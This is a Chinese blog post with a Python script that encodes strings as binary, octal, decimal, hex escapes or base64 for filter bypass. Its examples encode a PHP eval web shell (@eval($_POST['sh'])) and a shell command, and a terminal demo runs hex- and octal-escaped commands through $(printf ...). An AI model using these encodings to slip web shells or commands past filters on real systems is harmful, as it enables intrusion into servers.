python进制转换,字符转 (8进制、10进制、16进制、base64),编码绕过

该博客展示了如何使用Python进行不同编码方式之间的转换,包括二进制、八进制、十进制、十六进制和Base64编码。通过用户交互,程序接收字符串并根据用户选择的编码方式进行转换,输出转换后的代码片段。示例中演示了对`ls -a/`和PHP eval代码的编码,强调了编码在信息安全和代码隐藏中的应用。
摘要由CSDN通过智能技术生成

话不多说上代码,因为考虑到编码绕过的适合的方便性,所以输出时候进行了一下方便性的修改,注释掉的地方为容错机制(个人觉得没啥必要)

import base64

data = input('请输入需要编码的字符串\n:')

base_list = ['b','o','d','x','a']

#o = str.lower(input("选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64\n:"))

o = ''
while o not in base_list:
    o = str.lower(input("选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64,或者输入q退出\n:"))
    if o == 'q':exit()

b = base_list.index(o)

base_name = ['2进制:','8进制:','10进制:','16进制:','base64:']
#格式化输出
if b == 4:
    print(base_name[b]+str(base64.b64encode(data.encode('utf-8')),"utf-8"))
    exit()
#转换编码
base = [format(ord(i), base_list[b]) for i in data]

if b == 3:
    print(base_name[b]+'\\x'+'\\x'.join(base))
else:
    print(base_name[b]+'\\'+'\\'.join(base))

输出示例

请输入需要编码的字符串
:ls -a /
选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64
:x
16进制:\x6C\x73\x20\x2D\x61\x20\x2F
请输入需要编码的字符串
:<?php @eval($_POST['sh']);?>
选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64
:o
8进制:\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\163\150\47\135\51\73\77\76

效果演示(是不是很有趣)

➜  ~ #16进制编码
➜  ~ $(printf "\x6C\x73\x20\x2D\x61\x20\x2F")
.   bin   dev  home  lib    lib64   lost+found  mnt  proc  run   srv  tmp  var
..  boot  etc  init  lib32  libx32  media       opt  root  sbin  sys  usr
➜  ~
➜  ~#8进制编码
➜  ~ $(printf "\154\163\040\055\141\040\057")
.   bin   dev  home  lib    lib64   lost+found  mnt  proc  run   srv  tmp  var
..  boot  etc  init  lib32  libx32  media       opt  root  sbin  sys  usr
➜  ~
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值